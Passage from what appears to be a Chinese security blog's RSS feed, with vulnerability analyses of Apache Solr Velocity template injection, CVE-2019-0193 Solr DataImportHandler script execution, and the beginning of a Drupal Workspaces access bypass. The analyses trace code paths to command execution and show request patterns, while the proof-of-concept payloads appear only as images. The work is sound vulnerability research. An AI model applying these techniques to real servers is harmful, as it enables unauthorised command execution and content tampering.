&lt;li&gt;&lt;a href=&#34;https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/&#34;&gt;https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Apache Solr Velocity模板注入漏洞分析</title>
      <link>https://kylingit.com/blog/apache-solr-velocity%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Tue, 05 Nov 2019 09:40:22 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/apache-solr-velocity%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;10月30日，研究员S00pY在GitHub发布了Apache Solr Velocity模版注入远程命令执行的poc，该漏洞通过设置资源加载属性，利用&lt;code&gt;VelocityResponseWriter&lt;/code&gt;插件执行自定义模板，进而进行远程代码执行，危害较大，下面是分析过程。&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;选择Solr 8.2.0二进制版本进行分析和复现&lt;/p&gt;

&lt;p&gt;下载地址：&lt;a href=&#34;https://archive.apache.org/dist/lucene/solr/8.2.0/&#34;&gt;https://archive.apache.org/dist/lucene/solr/8.2.0/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;调试命令&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cd solr-8.2.0\server
$ java &amp;quot;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000&amp;quot; -Dsolr.solr.home=&amp;quot;../example/example-DIH/solr/&amp;quot; -jar start.jar --module=http
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;IDEA新建远程调试即可&lt;/p&gt;

&lt;h3 id=&#34;0x03-前置概念&#34;&gt;0x03 前置概念&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;VelocityResponseWriter&lt;/code&gt;(Velocity响应编写器)是 contrib/velocity 目录中可用的可选插件。当使用诸如 “_default”、“techproducts” 和 “example / files” 等配置时，它为浏览用户界面提供动力。&lt;/p&gt;

&lt;p&gt;必须添加它的 JAR 和依赖项（通过&amp;lt;lib&amp;gt;或 solr/home lib 包含），并且必须在 solrconfig.xml 注册，默认已经注册&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572507926900.png&#34; alt=&#34;1572507926900&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中有一个属性&lt;code&gt;params.resource.loader.enabled&lt;/code&gt;，默认是&lt;code&gt;false&lt;/code&gt;，需要手动开启&lt;/p&gt;

&lt;p&gt;该参数表示允许加载程序在 Solr 请求参数中指定模板，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;http://localhost:8983/solr/gettingstarted/select?q=\*:*&amp;amp;wt=velocity&amp;amp;v.template=xxx&amp;amp;v.template.xxx=CUSTOM%3A%20%23core_name
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;v.template=xxx&lt;/code&gt;表示创建一个名为“xxx”的模板，&lt;code&gt;v.template.xxx&lt;/code&gt;则是模板内容&lt;/p&gt;

&lt;p&gt;当这个属性设置为&lt;code&gt;true&lt;/code&gt;时用户就可以传入任意模板内容进行模板注入，从而执行任意命令&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;设置-params-resource-loader-enabled-属性&#34;&gt;设置&lt;code&gt;params.resource.loader.enabled&lt;/code&gt;属性&lt;/h4&gt;

&lt;p&gt;在Solr的Web.xml文件中能看到所有的请求都交给&lt;code&gt;org.apache.solr.servlet.SolrDispatchFilter&lt;/code&gt;来处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572508606062.png&#34; alt=&#34;1572508606062&#34; /&gt;&lt;/p&gt;

&lt;p&gt;具体的则是其中的&lt;code&gt;doFilter()&lt;/code&gt;方法。在对路由经过初步处理后，进行两个关键操作：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;HttpSolrCall call = this.getHttpSolrCall(request, response, retry);
//...
SolrDispatchFilter.Action result = call.call();
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;初始化一个&lt;code&gt;HttpSolrCall&lt;/code&gt;对象后调用它的&lt;code&gt;call()&lt;/code&gt;方法，在&lt;code&gt;call()&lt;/code&gt;方法中会对路由中具体的组件初始化出对应的handler，再由这个handler去调用这个组件的各个方法&lt;/p&gt;

&lt;p&gt;在Solr 8.2.0中具体的路由有37个，每一类都有对应的handler，都在&lt;code&gt;org.apache.solr.handler&lt;/code&gt;中定义，例如&lt;code&gt;solr/solr/get&lt;/code&gt;对应的hendler为&lt;code&gt;RealTimeGetHandler&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572515458181.png&#34; alt=&#34;1572515458181&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572516210537.png&#34; alt=&#34;1572516210537&#34; /&gt;&lt;/p&gt;

&lt;p&gt;而&lt;code&gt;/solr/solr/config&lt;/code&gt; 由&lt;code&gt;SolrConfigHandler&lt;/code&gt;来分别处理GET和POST请求&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;SolrConfigHandler.Command command = new SolrConfigHandler.Command(req, rsp, httpMethod);
if (&amp;quot;POST&amp;quot;.equals(httpMethod)) {
    if (configEditing_disabled || this.isImmutableConfigSet) {
        String reason = configEditing_disabled ? &amp;quot;due to disable.configEdit&amp;quot; : &amp;quot;because ConfigSet is immutable&amp;quot;;
        throw new SolrException(ErrorCode.FORBIDDEN, &amp;quot; solrconfig editing is not enabled &amp;quot; + reason);
    }

    try {
        command.handlePOST();
    } finally {
        RequestHandlerUtils.addExperimentalFormatWarning(rsp);
    }
} else {
    command.handleGET();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;私有类&lt;code&gt;Command&lt;/code&gt;会对当前路由的webapp和path做一个切分，对于POST请求，分别会通过&lt;code&gt;SolrConfigHandler.Command#handlePOST()&lt;/code&gt;方法来处理&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572509660264.png&#34; alt=&#34;1572509660264&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着调用&lt;code&gt;SolrConfigHandler.Command#handleCommands()&lt;/code&gt;，Solr中&lt;code&gt;Config API&lt;/code&gt;对应的实现都是由这个方法来完成的，如&lt;code&gt;set-property&lt;/code&gt;、&lt;code&gt;unset-property&lt;/code&gt;等&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572516461804.png&#34; alt=&#34;1572516461804&#34; /&gt;&lt;/p&gt;

&lt;p&gt;此处主要关注更新配置的参数&lt;/p&gt;

&lt;p&gt;从&lt;a href=&#34;https://lucene.apache.org/solr/guide/8_2/config-api.html#basic-commands-for-components&#34;&gt;文档&lt;/a&gt;可以了解对于&lt;code&gt;responsewriter&lt;/code&gt;的操作有下面三个&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;add-queryresponsewriter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;update-queryresponsewriter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;delete-queryresponsewriter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572516621585.png&#34; alt=&#34;1572516621585&#34; /&gt;&lt;/p&gt;

&lt;p&gt;代码中也能看到对操作名称按&lt;code&gt;-&lt;/code&gt;进行分割提取出对应操作，然后由&lt;code&gt;updateNamedPlugin()&lt;/code&gt;方法来完成配置文件的创建/覆盖操作，具体跟入看一下&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;updateNamedPlugin()&lt;/code&gt;中有个&lt;code&gt;verifyClass&lt;/code&gt;的调用，当传入参数没有设置&lt;code&gt;runtimeLib&lt;/code&gt;时会去创建class字段指定的类，所以当我们传入&lt;code&gt;VelocityResponseWriter&lt;/code&gt;时，会在其初始化的时候写入对应的参数&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572518046827.png&#34; alt=&#34;1572518046827&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后返回到&lt;code&gt;handleCommands()&lt;/code&gt;中把配置写入到&lt;code&gt;configoverlay.json&lt;/code&gt;文件&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572518122216.png&#34; alt=&#34;1572518122216&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此，通过&lt;code&gt;config api&lt;/code&gt;可以重新设置&lt;code&gt;VelocityResponseWriter&lt;/code&gt;的属性，为下一步加载模板提供入口&lt;/p&gt;

&lt;p&gt;三种命令的区别如下：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;add- 命令都会将新配置添加到configoverlay.json，这将覆盖solrconfig.xml组件中的任何其他设置；
update- 命令覆盖configoverlay.json中的现有设置；
delete-命令从configoverlay.json中删除设置&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&#34;注入自定义模板&#34;&gt;注入自定义模板&lt;/h4&gt;

&lt;p&gt;在&lt;code&gt;SolrDispatchFilter&lt;/code&gt;中有有一个枚举类&lt;code&gt;Action&lt;/code&gt;，定义了每个handler的所属的操作，通过ConfigAPI更新配置时，当前的action是&lt;code&gt;PROCESS&lt;/code&gt;，因此会进入&lt;code&gt;HttpSolrCall.call()&lt;/code&gt;的&lt;code&gt;PROCESS&lt;/code&gt;分支&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572576900618.png&#34; alt=&#34;1572576900618&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后通过&lt;code&gt;QueryResponseWriterUtil.writeQueryResponse()&lt;/code&gt;进入&lt;code&gt;VelocityResponseWriter.write&lt;/code&gt;，在这个方法中完成&lt;code&gt;Velocity&lt;/code&gt;的解析&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572577848829.png&#34; alt=&#34;1572577848829&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先会初始化一个解析模板的引擎&lt;code&gt;VelocityEngine&lt;/code&gt;，在创建引擎的过程中会检查是否允许参数资源加载，这也就是第一个请求设置的&lt;code&gt;params.resource.loader.enabled&lt;/code&gt;属性值。由于&lt;code&gt;solr.resource.loader.enabled&lt;/code&gt;默认是开启的，所以此处只需要设置params的值&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572577993537.png&#34; alt=&#34;1572577993537&#34; /&gt;&lt;/p&gt;

&lt;p&gt;之后通过&lt;code&gt;Template.getTemplate()&lt;/code&gt;设置自定义模板，然后进入&lt;code&gt;Template.merge()&lt;/code&gt;进入AST解析，在解析过程中会调用到&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法，这个流程与之前披露的CVE-2019-11581 JIRA模板注入漏洞是一样的，不再赘述，详细可以参考&lt;a href=&#34;https://kylingit.com/blog/cve-2019-11581-atlassian-jira%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/&#34;&gt;CVE-2019-11581 ATLASSIAN JIRA 未授权模板注入漏洞分析&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;回过头看一下&lt;code&gt;Velocity&lt;/code&gt;渲染的大致流程：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Velocity 渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为 AST 结构，并对 AST 中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为 AST 的开销。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;而&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法设计之初是在&lt;code&gt;Velocity parse&lt;/code&gt;解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取 text 内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了&lt;code&gt;java.lang.Runtime.getRuntime&lt;/code&gt;，成功达到命令执行的目的&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;调用栈&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572575433979.png&#34; alt=&#34;1572575433979&#34; /&gt;&lt;/p&gt;

&lt;p&gt;PoC&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1572578779708.png&#34; alt=&#34;1572578779708&#34; /&gt;&lt;/p&gt;

&lt;p&gt;参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://lucene.apache.org/solr/guide/8_2/config-api.html#basic-commands-for-components&#34;&gt;https://lucene.apache.org/solr/guide/8_2/config-api.html#basic-commands-for-components&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/veracode-research/solr-injection#7-cve-2019-xxxx-rce-via-velocity-template-by-_s00py&#34;&gt;https://github.com/veracode-research/solr-injection#7-cve-2019-xxxx-rce-via-velocity-template-by-_s00py&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>CVE-2019-0193 Apache Solr远程命令执行漏洞分析</title>
      <link>https://kylingit.com/blog/cve-2019-0193-apache-solr%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Wed, 07 Aug 2019 10:38:17 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/cve-2019-0193-apache-solr%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;8月1日，Apache Solr官方发布了CVE-2019-0193漏洞预警，此漏洞存在于可选模块DataImportHandler中，DataImportHandler是用于从数据库或其他源提取数据的常用模块，该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置，由于DIH配置可以包含脚本，因此该参数存在安全隐患。&lt;/p&gt;

&lt;p&gt;参考：&lt;a href=&#34;https://issues.apache.org/jira/browse/SOLR-13669&#34;&gt;https://issues.apache.org/jira/browse/SOLR-13669&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;选择Solr 8.1.1二进制版本进行分析和复现&lt;/p&gt;

&lt;p&gt;下载地址：&lt;a href=&#34;https://archive.apache.org/dist/lucene/solr/8.1.1/&#34;&gt;https://archive.apache.org/dist/lucene/solr/8.1.1/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;调试命令&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cd solr-8.1.1\server
$ java &amp;quot;-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000&amp;quot; -Dsolr.solr.home=&amp;quot;../example/example-DIH/solr/&amp;quot; -jar start.jar --module=http
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;IDEA新建远程调试即可&lt;/p&gt;

&lt;h3 id=&#34;0x03-前置概念&#34;&gt;0x03 前置概念&lt;/h3&gt;

&lt;p&gt;solr支持从Dataimport导入自定义数据，dataconfig需要满足一定语法，参考&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html&#34;&gt;https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://cwiki.apache.org/confluence/display/solr/DataImportHandler&#34;&gt;https://cwiki.apache.org/confluence/display/solr/DataImportHandler&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;其中ScriptTransformer可以编写自定义脚本，支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;ScriptTransformer&lt;/code&gt;容许用脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell转换，函数应当以行（类型为&lt;code&gt;Map&amp;lt;String,Object&amp;gt;&lt;/code&gt;）为参数，可以修改字段。脚本应当写在数据仓库配置文件顶级的&lt;code&gt;script&lt;/code&gt;元素内，而转换器属性值为&lt;code&gt;script:函数名&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;使用示例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;dataconfig&amp;gt;
  &amp;lt;script&amp;gt;&amp;lt;![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get(&#39;temp_f&#39;);
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put(&#39;temp_c&#39;, temp_c);
      }
      return row;
    }
    ]]&amp;gt;
  &amp;lt;/script&amp;gt;
  &amp;lt;document&amp;gt;

    &amp;lt;entity name=&amp;quot;e1&amp;quot; pk=&amp;quot;id&amp;quot; transformer=&amp;quot;script:f2c&amp;quot; query=&amp;quot;select * from X&amp;quot;&amp;gt;
    &amp;lt;/entity&amp;gt;
  &amp;lt;/document&amp;gt;
&amp;lt;/dataConfig&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nashorn引擎&lt;/p&gt;

&lt;p&gt;在Solr中解析js脚本使用的是Nashorn引擎，可以通过&lt;code&gt;Java.type&lt;/code&gt;API在JavaScript中引用，就像Java的&lt;code&gt;import&lt;/code&gt;一样，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello(&#39;Nashorn&#39;);
print(result);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;p&gt;Solr处理dataimport请求时，首先进入dataimport/DataImportHandler的handleRequestBody方法，当前请求的command为full-import，因此通过maybeReloadConfiguration重新加载配置&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565157550593.png&#34; alt=&#34;1565157550593&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在maybeReloadConfiguration中通过params.getDataConfig()判断了post的数据(dataConfig)是否为空，如果不是则通过loadDataConfig来加载&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565157730103.png&#34; alt=&#34;1565157730103&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后在loadDataConfig中通过readFromXml方法解析提交的配置数据中的各个标签，比如&lt;code&gt;document&lt;/code&gt;，&lt;code&gt;script&lt;/code&gt;，&lt;code&gt;function&lt;/code&gt;，&lt;code&gt;dataSource&lt;/code&gt;等，传入的script自定义脚本即在此处被存入script变量，递归解析完所有标签构建出DIHConfiguration对象并返回。&lt;/p&gt;

&lt;p&gt;获取到配置信息后通过this.importer.runCmd()方法处理导入过程&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;this.importer.runCmd(requestParams, sw);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565158761569.png&#34; alt=&#34;1565158761569&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在doFullImport中，首先会创建一个DocBuilder对象，DocBuilder的主要功能是从给定配置中创建Solr文档，同时会记录一些状态信息。随后通过execute()方法会通过遍历Entity的所有元素来解析config结构，最终得到是一个EntityProcessorWrapper对象。EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用，可以参考&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html&#34;&gt;https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在解析完config数据后solr会把最后更新时间记录到配置文件中，这个时间是为了下次进行增量更新的时候用的。接着通过this.dataImporter.getStatus()判断当前数据导入是“全部导入”还是“增量导入”，两个操作对应的方法分别为doDelta()和doFullDump()，此处的操作是full-import，因此调用doFullDump()&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565165153995.png&#34; alt=&#34;1565165153995&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在doFullDump()中调用的是DocBuilder.buildDocument()方法，这个方法会为发送的配置数据的每一个processor做解析，当发送的entity中含有&lt;code&gt;Transformers&lt;/code&gt;时，会进行相应的转换操作，例如转换成日期格式(DateFormatTransformer)、根据正则表达式转换(RegexTransformer)等，这次出现问题的是ScriptTransformer，可以根据用户自定义的脚本进行数据转换。由于脚本内容完全是用户控制的，当指定的script含有恶意代码时就会被执行，下面看一下Solr中如何执行javascript代码：&lt;/p&gt;

&lt;p&gt;在读取EntityProcessorWrapper的每一个元素时，是通过epw.nextRow()调用的，它返回的是一个Map对象，进入EntityProcessorWrapper.nextRow方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565166416846.png&#34; alt=&#34;1565166416846&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过applyTransformer()执行转换，调用的是相应Transformer的transformRow方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565166667450.png&#34; alt=&#34;1565166667450&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ScriptTransformer&lt;/code&gt;允许多种脚本语言调用，如Javascript、JRuby、Jython、Groovy和BeanShell等，transformRow()方法则会根据指定的语言来初始化对应的解析引擎，例如此处初始化的是scriptEngine，用来解析JavaScript脚本&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565167039401.png&#34; alt=&#34;1565167039401&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Solr中默认的js引擎是Nashorn，Nashorn是于Java 8中用于取代Rhino（Java 6，Java 7）的JavaScript引擎，在js中可以通过&lt;code&gt;Java.type&lt;/code&gt;引用Java类，就像Java的&lt;code&gt;import&lt;/code&gt;一样，此处就可以通过这个语法导入任意Java类。&lt;/p&gt;

&lt;p&gt;随后通过反射调用自定义的函数并执行，例如通过java.lang.Runtime执行系统命令&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565166706725.png&#34; alt=&#34;1565166706725&#34; /&gt;&lt;/p&gt;

&lt;p&gt;整个漏洞就是因为可以通过&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签指定ScriptTransformer，而在这个标签内可以导入任意的java类，Solr也并没有对标签内容做限制，导致可以执行任意代码。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565167939907.png&#34; alt=&#34;1565167939907&#34; /&gt;&lt;/p&gt;

&lt;p&gt;调用栈情况&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1565161745688.png&#34; alt=&#34;1565161745688&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x05-补充&#34;&gt;0x05 补充&lt;/h3&gt;

&lt;p&gt;值得注意的是，官方给出的临时修复方案并不能缓解漏洞，当把相应的index core的配置文件置为空时，dataimport的时候只是获取不到默认的配置，但是依然能够通过这个接口发送PoC，漏洞也依然能够触发，解决办法是把相应配置文件中的dataimport requestHandler全部注释并重启Solr服务器，才能彻底关闭这个接口缓解漏洞。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>SA-CORE-2019-008 Drupal访问绕过漏洞分析</title>
      <link>https://kylingit.com/blog/sa-core-2019-008-drupal%E8%AE%BF%E9%97%AE%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 19 Jul 2019 10:27:05 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/sa-core-2019-008-drupal%E8%AE%BF%E9%97%AE%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;7月17日，Drupal官方发布Drupal核心安全更新公告，修复了一个访问绕过漏洞，攻击者可以在未授权的情况下发布/修改/删除文章，CVE编号&lt;code&gt;CVE-2019-6342&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;公告地址：&lt;a href=&#34;https://www.drupal.org/sa-core-2019-008&#34;&gt;https://www.drupal.org/sa-core-2019-008&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-受影响的版本&#34;&gt;0x02 受影响的版本&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Drupal Version == 8.7.4&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;0x03-漏洞复现&#34;&gt;0x03 漏洞复现&lt;/h3&gt;

&lt;p&gt;安装&lt;code&gt;Drupal 8.7.4&lt;/code&gt;版本，登录管理员账户，进入后台&lt;code&gt;/admin/modules&lt;/code&gt;，勾选&lt;code&gt;Workspaces&lt;/code&gt;模块并安装&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719101447.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在页面上方出现如下页面则安装成功，管理员可以切换&lt;code&gt;Stage&lt;/code&gt;模式或者&lt;code&gt;Live&lt;/code&gt;模式&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104359.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;另外开启一个浏览器访问首页（未登录任何账户），访问&lt;a href=&#34;http://127.0.0.1/drupal-8.7.4/node/add/article&#34;&gt;http://127.0.0.1/drupal-8.7.4/node/add/article&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;可直接添加文章，无需作者或管理员权限。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190719104407.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;受影响操作包括基本文章操作（添加、修改、删除、上传附件等）&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;workspaces的功能&#34;&gt;Workspaces的功能&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;Workspaces&lt;/code&gt;是&lt;code&gt;Drupal 8.6&lt;/code&gt;核心新增的实验模块，主要功能是方便管理员一次性发布/修改多个内容。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Workspaces&lt;/code&gt;有两种模式，分别为&lt;code&gt;Stage&lt;/code&gt;模式和&lt;code&gt;Live&lt;/code&gt;模式，，默认为&lt;code&gt;Live&lt;/code&gt;模式，两者的区别在于：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Stage&lt;/code&gt;模式下修改内容不会及时更新，所有文章修改完毕后管理员可以通过&lt;code&gt;Deploy to Live&lt;/code&gt;发布到实际环境，相当于一个暂存区；&lt;/li&gt;
&lt;/ul&gt;

